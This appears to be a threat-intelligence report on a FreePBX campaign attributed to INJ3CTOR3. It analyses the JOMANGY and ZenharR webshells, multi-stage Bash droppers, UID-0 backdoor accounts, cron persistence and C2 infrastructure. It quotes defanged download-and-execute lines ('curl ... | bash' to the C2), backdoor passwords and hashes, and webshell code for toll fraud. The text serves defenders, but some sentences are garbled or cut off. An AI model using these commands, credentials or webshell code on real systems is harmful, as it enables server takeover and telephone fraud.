Executive Summary
Cyble Research & Intelligence Labs (CRIL) has identified an active FreePBX exploitation campaign, with high confidence tied to INJ3CTOR3, an actor with a documented history of targeting VoIP infrastructure for financial gain since 2019.
The campaign deploys a multi-stage Bash dropper that introduces JOMANGY, a PHP webshell family with no prior public documentation, alongside overlaps (prior C2 45[.]234[.]176[.]202 in the iptables block list, shared file paths and binary names, the newfpbx UID-0 backdoor, the MySQL ampusers pattern) confirm this. independently identified the current C2 and the shared password hash in April 2026. ).
Technical Analysis
Initial Access Vector
The earliest recovered artifact (Stage 1, b506fc82) is already executing on the victim system. No exploit payload or HTTP server access logs were recovered, so the initial entry point was not confirmed.
However, two CVEs emerge as high-confidence candidates, each tied to a distinct forensic indicator in the samples.
Every stage from Stage 1 through the license.php executor includes a line that scrubs Apache httpd logs of entries containing the string "restapps" (sed -i '/restapps/d'). The JOMANGY webshell cleanup routine also explicitly targets file patterns associated with WatchTowr Labs' CVE-2025-57819 proof-of-concept.
Files matching *-watchTowr-*.php are searched for and deleted. Both patterns are confirmed in the sample. What they imply about the initial access vector is assessed, not confirmed. (See Figure 5)
CVE-2025-64328 is a post-authentication command-injection vulnerability in the FreePBX filestore module, affecting versions 17.0.2.36 through 17.0.3, and patched in 17.0.3 (CVSS 8.6, ) served as the prior-generation entry vector and introduced ZenharR) persists as a carry-forward into the current campaign.
This behavioral continuity is analytically useful for long-term actor tracking, but it does not constrain the current entry vector assessment. CVE-2025-64328 and CVE-2025-57819 remain the high-confidence candidates for the current campaign.
CVE-2025-57819 is a pre-authentication SQL injection vulnerability in the FreePBX Endpoint module. WatchTowr Labs ).
The pre-authentication nature is consistent with mass automated exploitation across a 3,080-entry assessed target inventory. The architecture presents an additional indicator: the prior encystPHP dropper (71d94479) explicitly disabled the Endpoint module (chmod 000 endpoint/ajax.php) and (fwconsole ma uninstall endpoint, fwconsole ma delete endpoint). (See Figure 6)
The current campaign does not disable the Endpoint module. If CVE-2025-57819 was the entry vector, disabling the module eliminates the entry path itself. An operator who still needs the module active for exploitation would leave it running. Therefore, we treat this architectural inference as the strongest available evidence linking CVE-2025-57819 to the current campaign.
Campaign Architecture and Staging
The infection chain runs across three Bash payload stages, with license.php serving as a PHP executor component written to disk by those stages rather than fetched directly from the C2.
Stage 1 (b506fc82) is the initial Bash dropper where a concurrent re-run variant (/x) re-applies the same host-takeover behaviors on already-owned hosts and is treated as part of Stage 1 rather than a separate stage.
Stage 2 (k.php) deploys the JOMANGY webshell family and is the first one to write license.php to disk.
Stage 3 (wr.php, d40180f7) is a ZenharR dropper that forms a second cron download track running in parallel with k.php. wor.php (995e6304) is a second ZenharR dropper hosted at /z/wor.php on the C2.
It was recovered from the C2 artifact dump, but has no trigger identified in any executed payload in the recovered artifact chain. license.php is a PHP command executor invoked via the FreePBX HA hook; it executes between Stage 2 and Stage 3 in the chain, then again after Stage 3 rewrites it. (See Figure 1 for the campaign architecture flow)
Stage-by-Stage Payload Analysis
Stage 1: Bash Dropper (23,355 bytes, b506fc82)
The dropper runs in a deliberate order. Competitor eviction goes first, followed by credential implantation and persistence installation, with log destruction last. Running eviction up front clears competing implants and defensive tooling before the operator's own infrastructure lands, shrinking the window where both sides' webshells coexist on the same host.
It deletes previously placed download artifacts (devnull24, devnull23, devnull2, and prior campaign iteration artifacts, as confirmed by naming patterns). Lines 15-19 handle two things in parallel:
- A blanket userdel loop which removes all non-root accounts with UID 0 or UID >= 1000,
- A MySQL INSERT establishes the FreePBX web panel backdoor for account freepbxusers with admin-level access (sections=*) and password SHA1 hash 6ea9c6d2d932532a4cd44c7974fb1a0a87dbfcf9.
Then it runs the bulk competitor webshell eviction, searching /var/www/html/ and /var/www/ for approximately 50 named webshell signatures and deleting matching PHP files. (See Figure 7)
Credential implantation runs in two tiers. Lines 262-264 decode and execute three base64-obfuscated useradd commands that create UID-0 accounts newfpbxs, newfpbx, and xhimax with the shared MD5-crypt password hash. Lines 292-298 create seven more UID-0 accounts in plaintext: centos, admin, support, issabel, sangoma, emo, and xhimax (a redundant second creation of xhimax).
It creates eight non-UID-0 accounts (sugarmaint, spamfilter, asteriskuser, supports, freepbxuser, supermaint, asterisk, and hima), all sharing the same MD5-crypt password hash, and applies (Lines 312-321) the same hash to ten accounts, including root itself, via chpasswd -e. (See Figure 8)
Stage 1 installs persistence across two active tracks. The first is recurring cron polling of k.php every one to three minutes. The second is a shell profile stager appended to /root/.bash_profile, /root/.bashrc, and /etc/rc.local, which run on every root login and system reboot.
Lines 272-278 also execute a one-time phone-home to the C2 root index (http://45[.]95[.]147[.]178/) immediately on first run, separate from the cron infrastructure and effective even if the cron subsystem is blocked at execution time.
The active crontab is written to eight hidden, chattr +i-immutable backup paths using system-mimicking directory names, protected by two independent restore loops and a process watchdog.
Stage 1 deploys no webshells. That work is deferred entirely to Stage 2, an intentional departure from the prior encystPHP generation, which wrote the webshell directly from the initial dropper.
The full per-channel breakdown (including self-healing mechanism) is covered in the Persistence Mechanisms section below. (See Figure 9)
The dropper closes with SSH hardening and log wiping. (See Figure 10)
Stage 2: k.php (100259af, approximately 45KB, Bash)
It opens by fetching and executing /x via curl (curl http://45[.]95[.]147[.]178/x -ks | bash), re-applying the Stage 1 host-takeover behaviors before any webshell deployment begins.
Line 3 decodes a base64 blob and writes it to /var/www/html/admin/views/ajax.php, the FreePBX admin AJAX endpoint, and a high-traffic legitimate file that provides cover for the webshell.
Lines 15-25 copy the same blob to more than ten additional paths across the FreePBX web tree, including /var/www/html/h.php, /var/www/html/rest_phones/ajax.php, /var/www/html/admin/modules/h/ (ajax.php, config.php, index.php), and subdirectories under fpbxphones/ and phones/.
Lines 27-28 write an .htaccess rewrite rule (RewriteEngine On; RewriteRule .* config.php), so any request to an unrecognized path within those directories lands on a webshell copy.
Lines 7-8 reinstall the MySQL ampusers backdoor using the same DELETE + INSERT pattern as Stage 1, replanting the freepbxusers web panel account every time k.php executes.
Lines 9-10 redundantly repeat the useradd invocations for newfpbx and xhimax. Lines 29-30 apply chattr +i to the primary webshell files. Lines 31-32 execute a base64-decoded tryRoot1.sh shell script (run twice redundantly), which writes /var/www/html/admin/modules/freepbx_ha/license.php and triggers the FreePBX HA hooks.
The operator rotates k.php actively. The artifact collected (100259af, ~45KB) and the VT URL last-fetch variant (49abb105, retrieved 2026-04-29) are distinct, which suggests that what a victim receives from k.php at any given moment may differ from what was analyzed here. (See Figure 11)
The PHP webshell blob is double-obfuscated: an outer base64 layer encodes a PHP string that, when decoded, applies str_rot13() to a second encoded layer before passing the result to eval(). Once decoded, the webshell presents a form with <input type="submit" name="JOMANGY" value="JOMANGY">, the identifier establishing this as the JOMANGY family.
The outer PHP wrapper includes dead-code AV evasion and a watermark comment,/* trace_e1ebf9066a951be519a24140711839ea */, which appears in each deployed instance, tying deployments in this campaign to a single common source. (See Figure 12)
Stage 3: wr.php (d40180f7, 27KB, Bash)
wr.php mirrors the k.php structure but targets a different primary webshell path set and deploys the ZenharR family. It opens with the same concurrent dropper execution (curl | sh after completing ZenharR deployment and file propagation, then once again after executing tryRoot1.sh.
The tryRoot1.sh execution writes /var/www/html/admin/modules/freepbx_ha/license.php and triggers the FreePBX HA hooks by writing a trigger token to /usr/local/asterisk/ha_trigger and /usr/local/asterisk/ha_triggers.
The wr.php cron entries land on a victim through two independent paths: license.php's dual-track reinstallation logic, and a set of explicit wget .../z/wr.php ... | crontab - commands baked directly into the tryRoot1.sh payload embedded in wr.php itself.
The license.php path is the shared channel, and the direct crontab install is a wr.php-specific fallback. A defender who neutralizes the license.php-mediated cron track but leaves wr.php's own tryRoot1.sh reachable still gets wr.php re-established on its own. (See Figure 13)
Stage 3 (parallel): wor.php (995e6304, 13KB, Bash)
wor.php is a lighter-weight dropper hosted at /z/wor.php on the C2 but with no trigger identified in any executed payload in the recovered artifact chain (see Campaign Architecture above). Unlike wr.php, it does not chain the concurrent dropper (x).
It writes a ZenharR webshell blob via tee to both /var/www/html/digium_phones/ajax.php and /var/www/html/admin/views/ajax.php simultaneously — the latter overwriting the JOMANGY webshell that k.php placed there, replacing it with ZenharR.
The 10 subsequent cp commands copy the contents of admin/views/ajax.php, which now holds ZenharR, to 10 additional paths. wor.php applies an .htaccess rewrite rule but has no chattr +i commands.
It calls back to hxxp://45[.]95[.]147[.]178/z/post/noroot.php| sh after completing ZenharR deployment and file propagation, then once again after executing the tryRoot1.sh sequence.
The deployed ZenharR instance uses a distinct auth hash (b92c65af386ed772972b43cab0d55a4a) and embeds operator VPN IP 169[.]150[.]218[.]33.
At the time of analysis, the noroot.php endpoint served an empty response, indicating a non-root execution callback path that is prepared but not yet populated with commands.
freepbx_ha/license.php (PHP executor)
license.php is a PHP script written to disk by tryRoot1.sh and invoked via the FreePBX HA mechanism. It contains system(‘%s’), a format-string placeholder that the operator populates through the JOMANGY webshell before triggering the HA hook, providing privileged arbitrary command execution. Unlike the JOMANGY and ZenharR browser-accessible webshells, license.php lacks an authentication mechanism and eval-based obfuscation.
Beyond that command slot, the script runs three independent user-deletion loops clearing all non-root UID-0 and UID-≥1000 accounts; chpasswd operations setting ueteGJYCHeMTk on root and seven service accounts (sugarmaint, spamfilter, asteriskuser, supports, asterisk, freepbxuser, and supermaint); useradd commands promoting sugarmaint, supports, and supermaint to UID-0; SSH hardening; httpd log scrubbing; a dual-track cron reinstallation covering both k.php and z/wr.php download paths; and a final curl http://45[.]95[.]147[.]178/z/post/root.php | sh. At the time of analysis, root.php served a 12-byte #!/bin/bash stub with no active commands.
The script also explicitly enables PermitRootLogin, opens TCP/22 through iptables, and restarts sshd to ensure remote administrative access remains available. (See Figure 14)
Obfuscation and Evasion Techniques
Stage 1's encoding choices are purposeful. Most of the script runs in plaintext, including competitor eviction, iptables rules, and log deletion. The base64 encoding is reserved specifically for the UID-0 useradd invocations (lines 262-264) and the shell profile stager (line 302).
The -ou 0 flag combination is one of the more reliable behavioral heuristics in endpoint tooling, and encoding those three lines costs the operator nothing while suppressing the most detectable pattern in the dropper.
The cron payload variables (B64_ZEN2, B64_DEVNULL, B64_HEAL) are stored as base64 strings decoded inline at runtime. A crontab -l on a victim host returns what appears to be benign variable assignments.
The download URLs and execution commands are not visible without manually decoding each variable. (See Figure 15)
JOMANGY's encoding is a step up from what this operator has used before. The outer PHP blob runs str_rot13() on an inner base64 payload before passing to eval(). In practice, automated analysis tools that stop after a single base64 decode pass produce ROT13 output, not PHP, and yield nothing actionable.
The dead-code stub (if(false){ $SdDDlKoPiuhDB = 'deadcode_anti_av'; }) is a separate trick that targets static heuristics that flag PHP files for suspicious variable assignments. The variable exists only inside a branch that never executes. Neither of the techniques used is novel, but both offer cheap modifications with measurable payoff. (See Figure 16)
k.php, and wr.php had zero VirusTotal submissions at the time of analysis, and Stage 1 came in at four detections across 76 engines. (See Figure 17)
Persistence Mechanisms
The campaign establishes six independent persistence channels, engineered so that partial remediation leaves the infection intact and capable of full re-establishment.
Channel 1: Primary cron polling: We observed 8 cron entries installed across 2 blocks download hxxp://45[.]95[.]147[.]178/k.php every one to three minutes and execute the result under varying binary paths in /var/lib/asterisk/bin/, /dev/shm/.systemd/, and /tmp/.cache/.
This is the primary beacon: every minute, the crontab runs, fetching the latest version of k.php and re-executing it, redeploying any removed webshells within 3 minutes. (See Figure 18)
Channel 2: Shell profile persistence. Stage 1 appends a base64-encoded download-and-execute stager to /root/.bash_profile, /root/.bashrc, and /etc/rc.local. This channel fires on every interactive root login and every system reboot, independently of the cron subsystem. An operator who kills all running dropper processes and clears the crontab will re-trigger the infection on the next login or reboot. (See Figure 19)
Channel 3: Self-healing crontab backup system. Stage 1 writes the active crontab to eight hidden paths using directory names that mimic legitimate system directories. Each file is immediately flagged immutable with chattr +i, so that rm -rf executed even by root silently fails without error. Two separate cron restore entries, then protect these backups.
The first (B64_HEAL, line 357) fires at a random minute every hour and decodes to: for b in <all 8 paths>; do [ -s "$b" ] && crontab "$b" && break; done.
The second (line 359) fires every minute with an inline condensed version, iterating five of the eight paths.
A defender who removes only the B64_HEAL entry leaves the per-minute restore entry active.
A defender who removes both restore entries but misses the immutable flag on even one backup file finds the crontab reinstalled within an hour when the next dropper execution re-installs the restore entries.
Leaving any single channel intact causes full infection to re-establish within minutes. (See Figure 20)
Channel 4: Process watchdog. Stage 1 installs a cron entry running pgrep -x zen2 || bash <download_path> and pgrep -x devnull2 || bash <download_path>. If either the primary beacon binary (zen2) or the secondary variant (devnull2) is absent from the process table, the watchdog re-downloads and re-executes k.php. Killing the beacon process without simultaneously removing the watchdog cron entry results in an immediate respawn.
Channel 5: PHP webshells with immutability. Stage 2 writes JOMANGY to over twelve paths while Stage 3 adds more. wr.php drops ZenharR directly into digium_phones/ajax.php and admin/views/some.php, then bulk-copies the existing JOMANGY shell to 15 additional paths via a cp loop. Primary copies carry chattr +i, so rm -rf issued as root returns without removing the file.
Each deployed instance is also a dropper in its own right, where a single authenticated HTTP request to any surviving shell triggers a full cron reinstall, credential rotation, and re-execution of all stages. If a defender misses one path during cleanup, the operator rebuilds the entire infection stack from a browser.
Channel 6: freepbx_ha/license.php. The PHP executor, triggered via the FreePBX HA hook mechanism, includes its own independent cron reinstallation logic for both k.php and wr.php download tracks. As long as this file exists on disk and the FreePBX HA module is installed, the operator can invoke it to rebuild the entire persistence stack from scratch. (See Figure 21)
Implant and Backdoor Analysis
JOMANGY has no prior public documentation. This analysis is its first description. Every deployed instance carries the watermark /* trace_e1ebf9066a951be519a24140711839ea */, which makes hunting straightforward: any PHP file under the FreePBX web root containing that string is a campaign artifact. An earlier variant (SHA256 039d648b, VT first seen 2026-04-07) had a different auth hash (bfcedbc1831779921a0ee2cfaee004f2) and embedded operator IP 146[.]70[.]129[.]114 (AS9009 M247 Europe SRL). The operator rotated both webshell credentials and VPN provider between that early variant and the live campaign deployment, moving from M247 to Datapacket-hosted infrastructure somewhere in between. Below is the JOMANGY operator panel. (See Figure 22)
ZenharR was documented by Unit 42 in 2022 against the same actor lineage. This is tool reuse rather than a new family. The wr.php and wor.php instances have distinct auth hashes and embedded IPs per deployment (a2f6863.../169[.]150[.]218[.]37 and b92c65af.../169[.]150[.]218[.]33).
SANS ISC diary #32892 observed a third hash (cf710203400b8c466e6dfcafcf36a411) at /admin/modules/phones/ajax.php, a third deployed variant that was not in the collected artifact set. All instances use single-layer base64 + eval obfuscation and authenticate via md5($_REQUEST['md5']) == '<hash>'; the C2's ___ask.php and ___md5.php both serve the same live token (ec4ca4db5ec0b782e51224fa7082ac06), which enables the operator to rotate webshell credentials across all victims simultaneously by updating a single file.
Post-authentication, both webshell families expose the same capabilities. The VoIP fraud module is present in all instances:
if (isset($_REQUEST['call'])) {
system('asterisk -rx "channel originate Local/'
. $_REQUEST['prs'] . $_REQUEST['num']
. '@' . $_REQUEST['context']
. ' application wait '
. $_REQUEST['time'] . '"');
}
Four parameters from the browser: prs (prefix/country code), num (destination), context (Asterisk dialplan context), and time (call duration). The webshell runs asterisk -rx locally. Victim's trunks, victim's bill.
The same channel-originating interface was documented in the 2022 ZenharR samples (Unit 42) and in the January 2026 VictamPbx webshells.
The remaining capabilities are consistent across all three instances: $_REQUEST['cmd'] -> system() for arbitrary OS commands; Elastix SQLite ACL database theft (/var/www/db/acl.db); and FreePBX admin session hijack via ampuser setAdmin().
Command and Control
The C2 at 45[.]95[.]147[.]178 (AS49870 Alsycon B.V., Netherlands) hosts the /z/ directory, the operator's backend, four static text files with no panel, no framework, and no staging server visible from the recovered artifacts. ___ip.php serves a single IP address (169[.]150[.]218[.]33) that matches the operator VPN IP embedded in wor.php's ZenharR authentication form; PTR resolution returns a Datapacket hostname (AS212238), consistent with dedicated operator-controlled infrastructure, though the file's exact role on the C2 is not confirmed from the artifact alone.
___ask.php and ___md5.php both serve the same 32-byte string (ec4ca4db5ec0b782e51224fa7082ac06).
The most consistent read is that deployed webshells poll one of these endpoints to stay synchronized on the valid auth hash — a single file update on the C2 rotates credentials across every victim simultaneously.
___zen.php (a8b65af6c142736ccf80420e44df240f) is assessed as a ZenharR payload integrity reference; no mechanism confirming that function was identified in the recovered chain. (See Figure 23)
The scanner 160[.]119[.]76[.]250 sits in the same AS49870 allocation as the primary C2 and was independently named by appeared first on Cyble.
SOCIAL SHARE CARD GENERATOR